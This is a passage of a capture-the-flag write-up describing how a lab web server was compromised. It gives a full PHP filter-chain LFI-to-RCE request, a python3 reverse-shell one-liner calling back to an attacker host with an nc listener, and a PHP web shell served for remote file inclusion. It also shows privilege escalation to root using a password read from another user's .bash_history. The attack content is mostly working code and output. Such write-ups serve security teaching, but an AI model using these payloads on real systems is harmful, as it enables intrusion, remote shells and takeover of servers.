0|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
Bash

Run the command “whoami” as a test. It worked and “www-data” was displayed in the response.

Request:

GET /include.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&Submit=Submit&cmd=whoami HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.4/
Connection: close
Upgrade-Insecure-Requests: 1
HTTP

Response:

HTTP/1.1 200 OK
Date: Sat, 28 Oct 2023 19:56:45 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 249
Connection: close
Content-Type: text/html; charset=UTF-8

www-data
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HTTP

Since we can execute arbitrary commands, we can create a reverse shlle.

I ran a code to create a reverse shell using simple python3.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Python

Pass the URL-encoded python3 reverse shell code to cmd and run it.

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Requset:

GET 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HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.4/
Connection: close
Upgrade-Insecure-Requests: 1
HTTP

It worked and I got the www-data shell.

$ nc -lnvp 4444                            
listening on [any] 4444 ...
connect to [192.168.1.100] from (UNKNOWN) [192.168.1.4] 33804
www-data@offsec-4-diveintoive:/var/www/html$ whoami
whoami
www-data
www-data@offsec-4-diveintoive:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@offsec-4-diveintoive:/var/www/html$ cat /etc/hostname
cat /etc/hostname
offsec-4-diveintoive
www-data@offsec-4-diveintoive:/var/www/html$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:36:17:c9 brd ff:ff:ff:ff:ff:ff
    altname enp2s1
    inet 192.168.1.4/24 brd 192.168.1.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fe36:17c9/64 scope link 
       valid_lft forever preferred_lft forever
Bash

Privilege Escalation – Root

Privilege Escalation was not difficult, it was very easy.

I didn’t even need an enumeration looking for SUID binaries or anything like that.

As mentioned above, we know that there is an offsec user.

Looking at “.bash_history”, which is the command history of user offsec, the offsec user uses “sshpass” to connect to root by passing the password as a command argument, and executes “sshpass -p starship ssh root@localhost”. confirmed.

www-data@offsec-4-diveintoive:/var/www/html$ cd /home/offsec
cd /home/offsec
www-data@offsec-4-diveintoive:/home/offsec$ ls -al
ls -al
total 80
drwxr-xr-x 14 offsec offsec 4096 10月 27 01:54 .
drwxr-xr-x 3 root root 4096 10月 27 00:57 ..
-rwxr-xr-x 1 offsec offsec 145 10月 27 01:54 .bash_history
-rw-r--r-- 1 offsec offsec 220 10月 27 00:57 .bash_logout
-rw-r--r-- 1 offsec offsec 3771 10月 27 00:57 .bashrc
drwx------ 9 offsec offsec 4096 10月 27 01:48 .cache
drwx------ 11 offsec offsec 4096 10月 27 01:48 .config
drwx------ 3 offsec offsec 4096 10月 27 01:06 .local
-rw-r--r-- 1 offsec offsec 807 10月 27 00:57 .profile
-rw-r--r-- 1 offsec offsec 0 10月 27 01:08 .sudo_as_admin_successful
-rw------- 1 offsec offsec 5431 10月 27 01:54 .viminfo
drwxr-xr-x 2 offsec offsec 4096 10月 27 01:06 Desktop
drwxr-xr-x 2 offsec offsec 4096 10月 27 01:06 Documents
drwxr-xr-x 2 offsec offsec 4096 10月 27 01:06 Downloads
drwxr-xr-x 2 offsec offsec 4096 10月 27 01:06 Music
drwxr-xr-x 2 offsec offsec 4096 10月 27 01:06 Pictures
drwxr-xr-x 2 offsec offsec 4096 10月 27 01:06 Public
drwxr-xr-x 2 offsec offsec 4096 10月 27 01:06 Templates
drwxr-xr-x 2 offsec offsec 4096 10月 27 01:06 Videos
drwx------ 3 offsec offsec 4096 10月 27 01:07 snap
www-data@offsec-4-diveintoive:/home/offsec$ cat .bash_history
cat .bash_history
id
whoami
ls -lah
pwd
ps aux
sshpass -p starship ssh root@localhost
apt-get install sshpass
ps -ef
top
kill -9 3747
exit
sudo su -
su -
cd ~
pwd
Bash

There is a very high probability that root users use “starship” as their password.

I first tried sshing into root to see if I could log in with the password “starship”, but this failed.

$ ssh root@192.168.1.4
root@192.168.1.4's password:
Permission denied, please try again.
Bash

However, solving this problem was easy. I was able to switch to the root user by using the “su root” command with the password “starship” as the www-data user.

www-data@offsec-4-diveintoive:/home/offsec$ su root
su root
Password: starship

root@offsec-4-diveintoive:/home/offsec# whoami
whoami
root
root@offsec-4-diveintoive:/home/offsec# id
id
uid=0(root) gid=0(root) groups=0(root)
root@offsec-4-diveintoive:/home/offsec# cat /root/flag.txt
cat /root/flag.txt
flag{<REDACTED>}
Bash

Another Solution – Remote file inclusion (RFI)

The steps up to leaking the include.php source code are similar.

As mentioned above, include.php is a process that adds .php to the value passed to the page parameter and displays it.

So, if we create shell.php locally with python simple server and call http://192.168.1.100:8000/shell.php will be added and executed as PHP.

$ cat shell.php
<?php system($_REQUEST["cmd"]);?>
Bash

Send a request by specifying your local shell.php in the page parameter.

Request:

GET /include.php?page=http://192.168.1.100:8000/shell&Submit=Submit&cmd=whoami HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.4/
Connection: close
Upgrade-Insecure-Requests: 1
HTTP

A request to shell.php comes from the server.

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.4 - - [29/Oct/2023 09:17:42] "GET /shell.php HTTP/1.1" 200 -
Bash

As a result, shell.php is expanded and the command can be executed by passing an arbitrary command to the cmd argument.

Response:

HTTP/1.1 200 OK
Date: Sun, 29 Oct 2023 13:17:42 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 9
Connection: close
Content-Type: text/html; charset=UTF-8

www-data
HTTP

When I asked the creator of the problem, this method seemed to be closer to the expected solution.

After this, we only need to set up a reverse shell following the same procedure as the solution mentioned above and privilege escalation.

Thoughts

My solution this time was to generate arbitrary PHP code for inclusion without writing to a file, and rce it with a php filter chain, but I think RFI attacks must also be taken into account. In fact, RFI seems to be closer to the correct answer.

User was an interesting challenge. However, Privilege Escalation to root may actually work in real life, but it was too simple.

 Reference

SecLists/Fuzzing/LFI /LFI-Jhaddix.txt
PayloadsAllTheThings/File Inclusion /README.md
Local File Inclusion (LFI) — Web Application Penetration Testing
The definitive guide for LFI vulnerability security testing for bug hunting & penetration testing engagements.
PHP filters chain: What is it and how to use it
Searching for new gadget chains to exploit deserialization vulnerabilities can be tedious.
LFI2RCE via PHP Filters – HackTricks
$convs = array(’437′, ‘500’, ‘500V1’, ‘850’, ‘851’, ‘852’, ‘855’, ‘856’, ‘857’, ‘858’, ‘860’, ‘861’, ‘862’, ‘863’, ‘864’, ‘865’, ‘866’, ‘866NAV’, ‘869’, ‘874’, ‘904’, ‘1026’, ‘1046’, ‘1047’, ‘8859_1’, ‘8859_2’, ‘8859_3’, ‘8859_4’, ‘8859_5’, ‘8859_6’, ‘8859_7’, ‘8859_8’, ‘8859_9’, ‘10646-1:1993’, ’10…
Solving “includer’s revenge” from hxp ctf 2021 without controlling any files
Solving “includer’s revenge” from hxp ctf 2021 without controlling any files – writeup.md
GitHub – synacktiv/php_filter_chain_generator
Contribute to synacktiv/php_filter_chain_generator development by creating an account on GitHub.

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